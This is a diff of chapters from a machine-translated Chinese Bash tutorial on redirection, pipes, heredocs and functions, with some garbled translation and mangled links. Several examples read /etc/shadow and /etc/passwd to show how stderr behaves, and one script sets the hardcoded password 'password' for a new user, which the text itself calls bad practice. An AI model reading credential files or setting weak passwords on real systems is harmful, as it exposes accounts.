-reader@ubuntu:/tmp$ cat passwd -#Still empty, since stdout wasn't redirected to the file. -reader@ubuntu:/tmp$ head -1 /etc/passwd 2> passwd 1>&2 -#Redirect fd1 to fd2 (stdout to stderr). -reader@ubuntu:/tmp$ cat passwd -root:x:0:0:root:/root:/bin/bash -``` - -所以现在,我们将`stderr`流重定向到`passwd`文件。然而,`head -1 /etc/passwd`命令只传送一个`stdout`流;我们看到它被打印到终端,而不是文件。 - -当我们使用`1>&2`(也可以写成`>&2`)时,我们将`stdout`重定向到`stderr`。现在它被写入文件,我们可以在那里`cat`它! - -Remember, this is advanced information, which is mostly useful for your theoretical understanding and when you start working with your own custom file descriptors. For all other output redirections, play it safe and use the `&>` syntax as we discussed earlier. - -# 命令替换 - -虽然不是严格意义上的 Linux 重定向,但是*命令替换*在我们看来是一种功能重定向的形式:您使用一个命令的输出作为另一个命令的参数。如果我们需要使用输出作为下一个命令的输入,我们会使用管道(正如我们将在几页中看到的),但是有时我们只需要在命令中非常具体的位置使用输出。 - -这是使用命令替换的地方。我们已经在一些脚本中看到了命令替换:`cd $(dirname $0)`。简单来说,这和`dirname $0`的结果有点像`cd`。 - -`dirname $0`返回脚本所在的目录(因为`$0`是脚本的完全限定路径),所以当我们将这个用于脚本时,我们将确保所有操作总是相对于脚本所在的目录执行。 - -如果没有命令替换,我们需要将输出存储在某个地方,然后才能再次使用它: - -```sh -dirname $0 > directory-file -cd < directory-file -rm directory-file -``` - -虽然这个*有时*会起作用,但这里有一些陷阱: - -* 你需要在你有写权限的地方写一个文件 -* `cd`后需要清理文件 -* 您需要确保该文件不会与其他脚本冲突 - -长话短说,这远远不是一个理想的解决方案,最好避免。而且由于 Bash 提供了命令替换,所以使用它没有真正的缺点。正如我们所看到的,`cd $(dirname $0)`中的命令替换为我们处理这个,不需要我们跟踪文件或变量或任何其他复杂的构造。 - -命令替换实际上在 Bash 脚本中使用得相当多。看看下面的例子,其中我们使用命令替换来实例化和填充一个变量: - -```sh -reader@ubuntu:~/scripts/chapter_12$ vim simple-password-generator.sh -reader@ubuntu:~/scripts/chapter_12$ cat simple-password-generator.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-10 -# Description: Use command substitution with a variable. -# Usage: ./simple-password-generator.sh -##################################### - -# Write a random string to a variable using command substitution. -random_password=$(tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c 20) - -echo "Your random password is: ${random_password}" - -reader@ubuntu:~/scripts/chapter_12$ bash simple-password-generator.sh -Your random password is: T3noJ3Udf8a2eQbqPiad -reader@ubuntu:~/scripts/chapter_12$ bash simple-password-generator.sh -Your random password is: wu3zpsrusT5zyvbTxJSn -``` - -对于这个例子,我们重用了我们早期`password-generator.sh`脚本中的逻辑。这一次,我们没有给用户提供长度的选项;我们保持简单,假设长度为 20(至少在 2018 年,这是一个相当不错的密码长度)。 - -我们使用命令替换将结果(随机密码)写入变量,然后将变量`echo`发送给用户。 - -我们其实可以用一行代码来完成: - -```sh -reader@ubuntu:~/scripts/chapter_12$ echo "Your random password is: $(tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c 20)" -Your random password is: REzCOa11pA2846fvxsa -``` - -然而,正如我们到现在已经讨论了很多次的那样,*可读性很重要*(仍然!).我们觉得,在实际使用变量之前,先用描述性名称编写变量,可以增加脚本的可读性。 - -此外,如果我们想多次使用相同的随机值,我们无论如何都需要一个变量。所以在这种情况下,我们脚本中额外的冗长对我们有帮助,也是可取的。 - -The predecessor to `$(..)` was the use of backticks, which is the ```sh character (found next to the `1` on English-International keyboards). `$(cd dirname $0)` was previously written as ``cd dirname $0``. While this mostly does the same as the newer (and better) `$(..)` syntax, there are two things that were often an issue with backticks: word splitting and newlines. These are both issues that are caused by whitespace. It is much easier to use the new syntaxes and not have to worry about things like this! - -# 过程替代 - -与命令替代密切相关的是*过程替代。*语法如下: - -``` -<(command) -```sh - -它的工作原理与命令替换非常相似,但是您可以将输出作为文件引用,而不是将命令的输出作为字符串发送到某个地方。这意味着一些不需要字符串而是引用文件的命令也可以用于动态输入。 - -虽然过于高级,无法详细讨论,但这里有一个简单的例子,应该可以说明问题: - -``` -reader@ubuntu:~/scripts/chapter_12$ diff <(ls /tmp/) <(ls /home/) -1,11c1 -< directory-file -< grep-file -< grep-file-stdout -< passwd -< shadow ---- -> reader -```sh - -`diff`命令通常比较两个文件并打印它们的差异。现在,我们不再使用文件,而是使用过程替换让`diff`使用`<(ls /tmp/)`语法比较来自`ls /tmp/`和`ls /home/`的结果。 - -# 管道 - -最后,我们都在等待的时刻:**管道**。这些近乎神奇的构造在 Linux/Bash 中被大量使用,每个人都应该知道它们。任何比单个命令更复杂的事情几乎总是使用管道来获得解决方案。 - -现在最大的启示是:管道真正做的只是将一个命令的`stdout`连接到另一个命令的`stdin`。 - -等等什么?! - -# 将标准输出绑定到标准输入 - -是的,事实上就是这样。现在您已经了解了输入和输出重定向的所有知识,这可能有点令人失望。然而,仅仅因为概念简单,并不意味着管道不是**极其强大的**并且应用非常广泛。 - -让我们看一个例子,它展示了我们如何用管道替换输入/输出重定向: - -``` -reader@ubuntu:/tmp$ echo 'Fly into the distance' > file -reader@ubuntu:/tmp$ grep 'distance' < file -Fly into the distance reader@ubuntu:/tmp$ echo 'Fly into the distance' | grep 'distance'Fly into the distance -```sh - -对于正常的重定向,我们首先将一些文本写入一个文件(使用输出重定向),然后将它用作`grep`的输入。接下来,我们做完全相同的功能,但是没有文件作为中间步骤。 - -基本上,管道语法如下: - -``` -command-with-output | command-using-input -```sh - -您可以在一条线上使用多个管道,也可以使用管道和输入/输出重定向的任何组合,只要它有意义。 - -通常,当您到达两个以上的管道/重定向点时,您可以用一个额外的行来增加可读性,也许可以使用命令替换将中间结果写入变量。但是,从技术上来说,你可以让它变得像你想要的那样*复杂*;保持警惕,不要把事情弄得太复杂*。* - - *如前所述,管道将`stdout`与`stdin`绑定在一起。你可能对即将到来的问题有个想法:`stderr`!看看这个输出分离成`stdout`和`stderr`如何影响管道的例子: - -``` -reader@ubuntu:~/scripts/chapter_12$ cat /etc/shadow | grep 'denied' -cat: /etc/shadow: Permission denied -reader@ubuntu:~/scripts/chapter_12$ cat /etc/shadow | grep 'denied' > /tmp/empty-file -cat: /etc/shadow: Permission denied #Printed to stderr on terminal. -reader@ubuntu:~/scripts/chapter_12$ cat /etc/shadow | grep 'denied' 2> /tmp/error-file -cat: /etc/shadow: Permission denied #Printed to stderr on terminal. -reader@ubuntu:~/scripts/chapter_12$ cat /tmp/empty-file -reader@ubuntu:~/scripts/chapter_12$ cat /tmp/error-file -```sh - -最初,这个例子可能会让你感到困惑。让我们一步一步来弄清楚。 - -第一,`cat /etc/shadow | grep 'denied'`。我们试着把`grep``cat /etc/shadow`的`stdout`换成`denied`这个词。我们实际上并没有找到它,但我们看到它印在我们的终端上。为什么呢?因为即使`stdout`被输送到`grep`,但是`stderr`被直接送到我们的终端(而**不是**到`grep`)。 - -如果你是通过 SSH 连接到 Ubuntu 18.04,当`grep`成功的时候,默认应该会看到颜色高亮;在本例中,您不会遇到这种情况。 - -下一个命令`cat /etc/shadow | grep 'denied' > /tmp/empty-file`将 **`grep`** 的`stdout`重定向到一个文件。由于`grep`没有处理错误信息,文件保持为空。 - -即使我们试图在最后重定向`stderr`,正如在`cat /etc/shadow | grep 'denied' 2> /tmp/error-file`命令中可以看到的,我们仍然没有在文件中获得任何输出。这是因为重定向**是顺序的**:输出重定向只适用于`grep`,不适用`cat`。 - -现在,以同样的方式,输出重定向有一种重定向`stdout`和`stderr`的方法,带有`|&`语法的管道也是如此。再看同一个例子,现在使用正确的重定向: - -``` -reader@ubuntu:~/scripts/chapter_12$ cat /etc/shadow |& grep 'denied' -cat: /etc/shadow: Permission denied -reader@ubuntu:~/scripts/chapter_12$ cat /etc/shadow |& grep 'denied' > /tmp/error-file -reader@ubuntu:~/scripts/chapter_12$ cat /tmp/error-file -cat: /etc/shadow: Permission denied -reader@ubuntu:~/scripts/chapter_12$ cat /etc/shadow |& grep 'denied' 2> /tmp/error-file -cat: /etc/shadow: Permission denied -reader@ubuntu:~/scripts/chapter_12$ cat /tmp/error-file -```sh - -对于第一个命令,如果您启用了颜色语法,您将看到单词`denied`是粗体和彩色的(在我们的例子中,红色)。这意味着现在我们使用`|&`,`grep`确实成功处理了输出。 - -接下来,当我们使用`grep`的`stdout`重定向时,我们看到我们成功地将输出写入了一个文件。如果我们试图用`2>`重定向它,我们会再次看到它被打印在终端中,但不是文件中。这是因为重定向的顺序性:一旦`grep`成功处理了输入(来自`stderr`),`grep`将其输出到`stdout`。 - -`grep`实际上并不知道输入原来是一个`stderr`流;就其而言,只是`stdin`来处理。既然`grep`的成功过程去了`stdout`,那就是我们最终找到它的地方! - -如果我们想要安全并且不需要分离`stdout`和`stderr`的功能,最安全的方法是使用如下命令:`cat /etc/shadow |& grep 'denied' &> /tmp/file`。因为管道和输出重定向都要处理`stdout`和`stderr`,所以我们总是会将所有输出放在我们想要的地方。 - -# 实例 - -因为管道的理论现在应该相对简单了(当我们讨论输入和输出重定向时,我们已经把大部分内容排除在外),所以我们将给出一些实际的例子来说明管道的力量。 - -记住管道只对接受`stdin`输入的命令起作用是很好的;不是所有人都这样。如果您将某些东西传递给完全忽略该输入的命令,您可能会对结果感到失望。 - -既然我们现在已经介绍了管道,我们将在本书的其余部分更广泛地使用它们。虽然这些例子将展示一些使用管道的方法,但本书的其余部分将包含更多内容! - -# 又一个密码生成器 - -因此,我们已经创建了两个密码生成器。由于 3 是一个神奇的数字,这是一个很好的例子来演示链接管道,我们将再创建一个(最后一个,promise): - -``` -reader@ubuntu:~/scripts/chapter_12$ vim piped-passwords.sh -reader@ubuntu:~/scripts/chapter_12$ cat piped-passwords.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-10 -# Description: Generate a password, using only pipes. -# Usage: ./piped-passwords.sh -##################################### - -password=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c20) - -echo "Your random password is: ${password}" -```sh - -首先,我们从`/dev/urandom`抓取前 10 行(默认行为为`head`)。我们将这个发送到`tr`,它将它修剪成我们想要的字符集(因为它也输出不可读的字符)。然后,当我们有一个可以使用的字符集时,我们再次使用`head`从该字符集中抓取前 20 个字符。 - -如果只是`head /dev/urandom | tr -dc 'a-zA-Z0-9'`跑几次,就会看到长短不一;这是因为换行符字节的随机性。通过从`/dev/urandom`中抓取 10 行,没有足够的可读字符来创建 20 个字符的密码的机会非常小。 - -(对读者的挑战:创建一个循环的脚本,这样做足够长的时间来遇到这种情况!) - -这个例子说明了一些事情。首先,我们经常可以用一些智能管道实现很多我们想做的事情。其次,多次使用同一个命令并不罕见。顺便说一下,我们也可以选择`tail -c20`作为链中的最终命令,但是这与整个命令有很好的对称性! - -最后,我们看到了三种不同的密码生成器,它们实际上做着同样的事情。一如既往,在 Bash 中,有许多方法可以实现相同的目标;由你来决定哪一个最适用。就我们而言,可读性和性能应该是这个决定的两个主要因素。 - -# 在脚本中设置密码 - -您可能发现自己想要编写脚本的另一项任务是为本地用户设置密码。虽然从安全角度来看,这并不总是好的做法(尤其是对于个人用户帐户),但它是用于功能帐户(对应于软件的用户,如运行`httpd`进程的 Apache 用户)的做法。 - -这些用户大多不需要密码,但有时他们需要。在这种情况下,我们可以使用带有`chpasswd`命令的管道来设置它们的密码: - -``` -reader@ubuntu:~/scripts/chapter_12$ vim password-setter.sh -reader@ubuntu:~/scripts/chapter_12$ cat password-setter.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-10 -# Description: Set a password using chpasswd. -# Usage: ./password-setter.sh -##################################### - -NEW_USER_NAME=bob - -# Verify this script is run with root privileges. -if [[ $(id -u) -ne 0 ]]; then - echo "Please run as root or with sudo!" - exit 1 -fi - -# We only need exit status, send all output to /dev/null. -id ${NEW_USER_NAME} &> /dev/null - -# Check if we need to create the user. -if [[ $? -ne 0 ]]; then - # User does not exist, create the user. - useradd -m ${NEW_USER_NAME} -fi - -# Set the password for the user. -echo "${NEW_USER_NAME}:password" | chpasswd -```sh - -在运行此脚本之前,请记住,这将使用非常简单(错误)的密码将用户添加到您的系统中。我们为这个脚本更新了一点输入卫生:我们使用命令替换来查看脚本是否以 root 权限运行。因为`id -u`返回用户的数字 ID,在 root 用户或者 sudo 权限的情况下应该是 0,所以我们可以使用`-ne 0`进行比较。 - -如果我们运行脚本,而用户不存在,我们会在为该用户设置密码之前创建用户。这是通过管道将`username:password`发送到`chpasswd`的`stdin`来完成的。请注意,我们使用了`-ne 0`两次,但用于非常不同的事情:第一次用于比较用户标识,第二次用于比较退出状态。 - -你可能会想到这个脚本的多种改进。例如,能够同时指定用户名和密码而不是这些硬编码的伪值可能是件好事。另外,在`chpasswd`命令后进行一次理智检查绝对是个好主意。在当前迭代中,脚本没有给**任何**反馈给用户;非常糟糕的做法。 - -看看能不能解决这些问题,一定要记住用户指定的任何输入都要彻底检查*!如果你真的想要一个挑战,通过从一个文件中抓取输入,在`for`循环中为多个用户做这个。* - -*An important thing to note is that a process, when running, is visible to any user on the system. This is often not that big a problem, but if you're providing usernames and passwords directly to the script as arguments, those are visible to everyone as well. This is often only for a very short time, but they will be visible nonetheless. Always keep security in mind when dealing with sensitive issues such as passwords. - -# 球座 - -似乎是为了与管道协同工作而创建的命令是`tee`。手册页上的描述应该讲述了大部分故事: - -tee - read from standard input and write to standard output and files - -所以,本质上,发送东西到`tee`的`stdin`(通过管道!)允许我们同时将输出保存到您的终端和一个文件中。 - -这在使用交互式命令时通常最有用;它允许您实时跟踪输出,但也可以将其写入(日志)文件供以后查看。更新系统为`tee`用例提供了一个很好的例子: - -``` -sudo apt upgrade -y | tee /tmp/upgrade.log -```sh - -我们可以通过将*所有*输出发送到`tee`,包括`stderr`,让它变得更好: - -``` -sudo apt upgrade -y |& tee /tmp/upgrade.log -```sh - -输出如下所示: - -``` -reader@ubuntu:~/scripts/chapter_12$ sudo apt upgrade -y |& tee /tmp/upgrade.log -WARNING: apt does not have a stable CLI interface. Use with caution in scripts. -Reading package lists... - -0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. -reader@ubuntu:~/scripts/chapter_12$ cat /tmp/upgrade.log -WARNING: apt does not have a stable CLI interface. Use with caution in scripts. -Reading package lists... - -0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. -```sh - -终端输出和日志文件的第一行都是`WARNING`,发送到`stderr`;如果你用`|`代替`|&`,那就不会写入日志文件,只会在屏幕上显示。如果你按照建议使用`|&`,你会看到你屏幕上的输出和文件的内容完全匹配。 - -默认情况下,`tee`覆盖目标文件。像所有形式的重定向一样,`tee`也有一种追加而不是覆盖的方式:`--append` ( `-a`)标志。根据我们的经验,这通常是一个谨慎的选择,与`|&`并无不同。 - -While `tee` is a great asset for your command-line arsenal, it most definitely has its place in scripting as well. Once your scripts get more complex, you might want to save parts of the output to a file for later review. However, to keep the user updated on the status of a script, printing some to the Terminal might also be a good idea. If these two scenarios overlap, you'll need to use `tee` to get the job done! - -# 这里有文件 - -我们将在本章中介绍的最后一个概念是的*文档。这里的文档,也称为 heredocs,用于向某些命令提供输入,与`stdin`重定向略有不同。值得注意的是,向命令提供多行输入是一种简单的方法。它使用以下语法:* - -``` -cat << EOF -input -more input -the last input -EOF -```sh - -如果您在终端中运行此程序,您将看到以下内容: - -``` -reader@ubuntu:~/scripts/chapter_12$ cat << EOF -> input -> more input -> the last input -> EOF -input -more input -the last input -```sh - -`<<`语法让 Bash 知道您想要使用一个 heredoc。紧接着,您提供了一个*定界标识符*。这可能看起来很复杂,但它实际上意味着您提供了一个将终止输入的字符串。因此,在我们的示例中,我们提供了常用的`EOF`(T4 end**o**f**f**ile 的缩写)。 - -现在,如果 heredoc 在输入中遇到与定界标识符完全匹配的行,它将停止侦听进一步的输入。下面是另一个例子,更详细地说明了这一点: - -``` -reader@ubuntu:~/scripts/chapter_12$ cat << end-of-file -> The delimiting identifier is end-of-file -> But it only stops when end-of-file is the only thing on the line -> end-of-file does not work, since it has text after it -> end-of-file -The delimiting identifier is end-of-file -But it only stops when end-of-file is the only thing on the line -end-of-file does not work, since it has text behind it -```sh - -虽然用`cat`来说明这一点,但并不是一个很实际的例子。然而`wall`命令是。`wall`让您向连接到服务器的每个人,向他们的终端广播消息。与 heredoc 结合使用时,它看起来有点像这样: - -``` -reader@ubuntu:~/scripts/chapter_12$ wall << EOF -> Hi guys, we're rebooting soon, please save your work! -> It would be a shame if you lost valuable time... -> EOF - -Broadcast message from reader@ubuntu (pts/0) (Sat Nov 10 16:21:15 2018): - -Hi guys, we're rebooting soon, please save your work! -It would be a shame if you lost valuable time... -```sh - -在这种情况下,我们接收自己的广播。但是,如果您与您的用户多次连接,您将看到广播也进入其中。 - -尝试同时使用终端控制台连接和 SSH 连接;如果你亲眼看到,你会更好地理解它。 - -# 这里有文档和变量 - -使用 heredocs 时,混淆的一个来源通常是使用变量。默认情况下,变量在 heredoc 中解析,如下例所示: - -``` -reader@ubuntu:~/scripts/chapter_12$ cat << EOF -> Hi, this is $USER! -> EOF -Hi, this is reader! -```sh - -然而,这可能并不总是理想的功能。您可能想用它来写一个文件,变量应该在以后解析。 - -在这种情况下,我们可以引用 EOF 的定界标识符来防止变量被替换: - -``` -reader@ubuntu:~/scripts/chapter_12$ cat << 'EOF' -> Hi, this is $USER! -> EOF -Hi, this is $USER! -```sh - -# 使用此文档进行脚本输入 - -由于 heredocs 允许我们简单地将换行符分隔的输入传递给一个命令,我们可以使用它以非交互方式运行一个交互脚本!我们已经在实践中使用了这一点,例如,在只能交互运行的数据库安装程序脚本中。但是,一旦您知道了问题的顺序和您想要提供的输入,您就可以使用 heredoc 将这些输入提供给交互式脚本。 - -更好的是,我们已经创建了一个使用交互式输入的脚本,`/home/reader/scripts/chapter_11/while-interactive.sh`,我们可以用它来展示这个功能: - -``` -reader@ubuntu:/tmp$ head /home/reader/scripts/chapter_11/while-interactive.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.1.0 -# Date: 2018-10-28 -# Description: A simple riddle in a while loop. -# Usage: ./while-interactive.sh -##################################### - -reader@ubuntu:/tmp$ bash /home/reader/scripts/chapter_11/while-interactive.sh << EOF -a mouse #Try 1. -the sun #Try 2. -keyboard #Try 3. -EOF - -Incorrect, please try again. #Try 1. -Incorrect, please try again. #Try 2. -Correct, congratulations! #Try 3. -Now we can continue after the while loop is done, awesome! -```sh - -我们知道剧本一直持续到得到正确的答案,要么是`keyboard`要么是`Keyboard`。我们使用此文档依次向脚本发送三个答案:`a mouse`、`the sun`,最后是`keyboard`。我们可以很容易地将输出与输入对应起来。 - -为了更详细,运行带有`bash -x`的 heredoc 输入的脚本,它将明确地向您展示这个谜语有三种尝试。 - -You might want to use a here document within a nested function (which will be explained in the next chapter) or within a loop. In both cases, you should already be using indentation to improve readability. However, this impacts your heredoc, because the whitespace is considered part of the input. If you find yourself in that situation, heredocs have an extra option: `<<-` instead of `<<`. When supplying the extra `-`, all *tab characters* are ignored. This allows you to indent the heredoc construction with tabs, which maintains both readability and function. - -# 这里是字符串 - -本章我们最不想讨论的就是*这里的字符串*。它非常类似于这里的文档(因此得名),但它处理的是一个字符串,而不是一个文档(谁能想到呢!). - -这种使用`<<<`语法的构造可用于向命令提供文本输入,该命令通常可能只接受来自`stdin`或文件的输入。一个很好的例子是`bc`,这是一个简单的计算器(GNU 项目的一部分)。 - -通常,您可以通过两种方式之一使用它:通过管道向`stdin`发送输入,或者通过将`bc`指向文件: - -``` -reader@ubuntu:/tmp$ echo "2^8" | bc -256 - -reader@ubuntu:/tmp$ echo "4*4" > math -reader@ubuntu:/tmp$ bc math -bc 1.07.1 -Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006, 2008, 2012-2017 Free Software Foundation, Inc. -This is free software with ABSOLUTELY NO WARRANTY. -For details type `warranty'. -16 -^C -(interrupt) use quit to exit. -quit -```sh - -与`stdin`一起使用时,`bc`返回计算结果。与文件一起使用时,`bc`会打开一个交互会话,我们需要通过输入`quit`来手动关闭。对于我们想要实现的目标来说,这两种方式似乎都有些力不从心。 - -让我们看看这里的字符串是如何修复这个问题的: - -``` -reader@ubuntu:/tmp$ bc <<< 2^8 -256 -``` - -开始了。这里只是一个简单的字符串作为输入(它被发送到命令的`stdin`),我们得到了与带有管道的`echo`相同的功能。然而,现在它只是一个单一的命令,而不是一个链条。简单却有效,正是我们喜欢的方式! - -# 摘要 - -本章解释了关于 Linux 上*重定向*的几乎所有知识。我们从什么是重定向,以及如何使用*文件描述符*来促进重定向的一般描述开始。我们了解到文件描述符 0、1 和 2 分别用于`stdin`、`stdout`和`stderr`。 - -然后我们熟悉了重定向的语法。这包括`>`、`2>`、`&>`和`<`及其附加语法、`>>`、`2>>`、`&>>`和`<<`。 - -我们讨论了一些特殊的 Linux 设备,`/dev/null`、`/dev/zero`和`/dev/urandom`。我们展示了如何使用这些设备来移除输出、生成空字节和生成随机数据的示例。在高级重定向部分,我们展示了我们可以将`stdout`绑定到`stderr`,反之亦然。 - -此外,我们还学习了*命令替换*和*过程替换*,这允许我们将一个命令的结果用于另一个命令的参数中,或者作为一个文件。 - -接下来是*管道*。管道很简单,但是非常强大,Bash 构造,用于将一个命令的`stdout`(可能还有`stderr`)连接到另一个命令的`stdin`。这允许我们链接命令,在我们前进的过程中进一步操纵数据流,通过我们想要的任意数量的命令。 - -我们还引入了`tee`,它允许我们向我们的终端和文件发送一个流,这是一个经常用于日志文件的结构。 - -最后,我们解释了这里的*文档*和这里的*字符串*。这些概念允许我们将多行和单行输入直接从终端发送到其他命令的`stdin`中,否则这些命令将需要`echo`或`cat`。 - -本章介绍了以下命令:`diff`、`gcc`、`fallocate`、`tr`、`chpasswd`、`tee`和`bc`。 - -# 问题 - -1. 什么是文件描述符? -2. 术语`stdin`、`stdout`和`stderr`是什么意思? -3. `stdin`、`stdout`和`stderr`如何映射到默认文件描述符? -4. 输出重定向`>`、`1>`和`2>`有什么区别? -5. `>`和`>>`有什么区别? -6. 如何同时重定向`stdout`和`stderr`? -7. 哪些特殊设备可以作为输出黑洞? -8. 关于重定向,管道有什么作用? -9. 我们如何向终端和日志文件发送输出? -10. 这里字符串的典型用例是什么? - -# 进一步阅读 - -* **点击以下链接**阅读更多关于文件描述符的信息:[https://linuxmerkat . WordPress . com/2011/12/02/file-descriptor-explained/](https://linuxmeerkat.wordpress.com/2011/12/02/file-descriptors-explained/)。 - -* **在以下链接**中查找带有文件描述符的高级脚本的信息:[https://bash . cyberiti . biz/guide/Reads _ from _ file _ descriptor _(FD)](https://bash.cyberciti.biz/guide/Reads_from_the_file_descriptor_(fd))。 -* **在以下链接**阅读更多关于命令替换的信息:[http://www.tldp.org/LDP/abs/html/commandsub.html](http://www.tldp.org/LDP/abs/html/commandsub.html)。 -* **点击以下链接**:[https://www.tldp.org/LDP/abs/html/here-docs.html](https://www.tldp.org/LDP/abs/html/here-docs.html)查找本文档信息。*** \ No newline at end of file diff --git a/docs/learn-linux-shell-script/13.md b/docs/learn-linux-shell-script/13.md deleted file mode 100644 index e8ce4e7a..00000000 --- a/docs/learn-linux-shell-script/13.md +++ /dev/null @@ -1,1054 +0,0 @@ -# 十三、函数 - -在本章中,我们将解释 Bash 脚本的一个非常实用的概念:函数。我们将展示它们是什么,我们如何使用它们,以及我们为什么想要使用它们。 - -在介绍了函数的基础之后,我们将更进一步,我们将展示函数如何拥有自己的输入和输出。 - -将描述函数库的概念,我们将开始构建我们自己的包含各种实用函数的个人函数库。 - -本章将介绍以下命令:`top`、`free`、`declare`、`case`、`rev`和`return`。 - -本章将涵盖以下主题: - -* 功能解释 -* 用参数扩充函数 -* 函数库 - -# 技术要求 - -本章所有脚本均可在 GitHub:[https://GitHub . com/PacktPublishing/Learn-Linux-Shell-Scripting-Bash-4.4 基础/tree/master/Chapter13](https://github.com/PacktPublishing/Learn-Linux-Shell-Scripting-Fundamentals-of-Bash-4.4/tree/master/Chapter13) 上找到。除了您的 Ubuntu Linux 虚拟机之外,不需要其他资源来完成本章中的示例。对于参数-checker.sh、函数和变量. sh、库-重定向到文件. sh 脚本,只有最终版本是在线的。在您的系统上执行之前,请确保验证标题中的脚本版本。 - -# 功能解释 - -在本章中,我们将研究函数,以及这些函数如何增强您的脚本。函数的理论并不太复杂:函数是组合在一起的一组命令,可以多次调用(执行),而不必再次编写整个命令集。一如既往,一个好的例子胜过千言万语,所以让我们来看看我们最喜欢的一个例子:打印`Hello world!`。 - -# 你好世界! - -我们现在知道让`Hello world!`这个词出现在我们的终端上是相对容易的。一个简单的`echo "Hello world!"`就可以了。然而,如果我们想多次这样做,我们会怎么做呢?您可以建议使用任何类型的循环,这确实允许我们打印多次。然而,这个循环也需要一些额外的代码和预先的计划。正如您将注意到的,实际上循环非常适合迭代项目,但不完全适合以可预测的方式重用代码。让我们看看如何使用函数来实现这一点: - -```sh -reader@ubuntu:~/scripts/chapter_13$ vim hello-world-function.sh -reader@ubuntu:~/scripts/chapter_13$ cat hello-world-function.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-11 -# Description: Prints "Hello world!" using a function. -# Usage: ./hello-world-function.sh -##################################### - -# Define the function before we call it. -hello_world() { - echo "Hello world!" -} - -# Call the function we defined earlier: -hello_world - -reader@ubuntu:~/scripts/chapter_13$ bash hello-world-function.sh -Hello world! -``` - -如您所见,我们首先定义了函数,这无非是编写一旦调用函数就应该执行的命令。在脚本的最后,您可以看到我们通过输入函数名来执行函数,就像我们执行任何其他命令一样。需要注意的是,如果您之前已经定义了函数,则只能调用该函数*。这意味着整个函数定义在脚本中需要高于它的调用。现在,我们将把所有函数作为脚本中的第一项。在本章的后面,我们将向您展示如何更有效地利用这一点。* - -您在前面的示例中看到的是 Bash 中函数定义的两种可能语法中的第一种。如果我们只提取函数,语法如下: - -```sh -function_name() { - indented-commands - further-indented-commands-as-needed - } -``` - -第二种可能的语法是这样的,我们不太喜欢前一种语法: - -```sh -function function_name { - indented-commands - further-indented-commands-as-needed - } -``` - -这两种语法的区别在于,要么在开头没有单词`function`,要么在函数名后面没有单词`()`。我们更喜欢第一种语法,它使用了`()`符号,因为它更接近于其他脚本/编程语言的符号,因此对大多数人来说应该更容易识别。另外,它比第二种符号更短更简单。正如您所料,我们将在本书的其余部分继续只使用第一个符号;另一个是为了完整性而提出的(如果您在研究脚本时在网上遇到它,理解它总是很方便的!). - -Remember, we use indentation to relay information about where commands are nested to the reader of a script. In this case, since all commands within a function are only run when the function is called, we indent them with two spaces so it's clear we're inside the function. - -# 更复杂 - -一个函数可以有任意多的命令。在我们简单的例子中,我们只添加了一个`echo`,然后我们只调用了一次。虽然这对于抽象来说很好,但它并不能真正保证创建一个函数。让我们看一个更复杂的例子,它会让您更好地理解为什么在函数中抽象命令是一个好主意: - -```sh -reader@ubuntu:~/scripts/chapter_13$ vim complex-function.sh -reader@ubuntu:~/scripts/chapter_13$ cat complex-function.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-11 -# Description: A more complex function that shows why functions exist. -# Usage: ./complex-function.sh -##################################### - -# Used to print some current data on the system. -print_system_status() { - date # Print the current datetime. - echo "CPU in use: $(top -bn1 | grep Cpu | awk '{print $2}')" - echo "Memory in use: $(free -h | grep Mem | awk '{print $3}')" - echo "Disk space available on /: $(df -k / | grep / | awk '{print $4}')" - echo # Extra newline for readability. -} - -# Print the system status a few times. -for ((i=0; i<5; i++)); do - print_system_status - sleep 5 -done -``` - -现在我们说话了!这个函数有五个命令,其中三个包括用链式管道替换命令。现在,我们的脚本开始变得复杂而强大。如您所见,我们使用`()`符号定义函数。然后我们在一个 C 风格的`for`循环中调用这个函数,这使得脚本打印系统状态五次,中间有五秒钟的停顿(由于`sleep`,我们在前面的[第 11 章](11.html)、*条件测试和脚本循环*中看到了这一点)。运行此程序时,它应该如下所示: - -```sh -reader@ubuntu:~/scripts/chapter_13$ bash complex-function.sh -Sun Nov 11 13:40:17 UTC 2018 -CPU in use: 0.1 -Memory in use: 85M -Disk space available on /: 4679156 - -Sun Nov 11 13:40:22 UTC 2018 -CPU in use: 0.2 -Memory in use: 84M -Disk space available on /: 4679156 -``` - -除了日期,其他输出发生显著变化的可能性很小,除非您有其他进程正在运行。然而,功能的目的应该是明确的:以透明的方式定义和抽象一组功能。 - -While not the topic of this chapter, we used a few new commands here. The `top` and `free` commands are often used to check how the system is performing, and can be used without any arguments (`top` opens full screen, which you can exit with *Ctrl *+ *C*). In the *Further reading* section of this chapter, you can find more on these (and other) performance monitoring tools in Linux. We've also included a primer on `awk` there. - -使用函数有很多好处;这些包括但不限于以下内容: - -* 易于重用的代码 -* 允许共享代码(例如,通过库) -* 将混乱的代码抽象成简单的函数调用 - -函数中很重要的一点就是命名。函数名应该尽可能简洁,但是仍然需要告诉用户它是做什么的。例如,如果你把一个函数叫做非描述性的东西,比如`function1`,怎么会有人知道它是干什么的呢?将其与我们在示例中看到的名称进行比较:`print_system_status`。虽然可能不完美(什么是系统状态?),它至少为我们指明了正确的方向(如果您同意 CPU、内存和磁盘使用被视为系统状态的一部分,也就是说)。或许这个功能更好的名字是`print_cpu_mem_disk`。由你决定!做这个选择的时候一定要考虑到目标受众是谁;这往往影响最大。 - -虽然描述性在函数命名中非常重要,但遵守命名约定也很重要。我们已经在[第 8 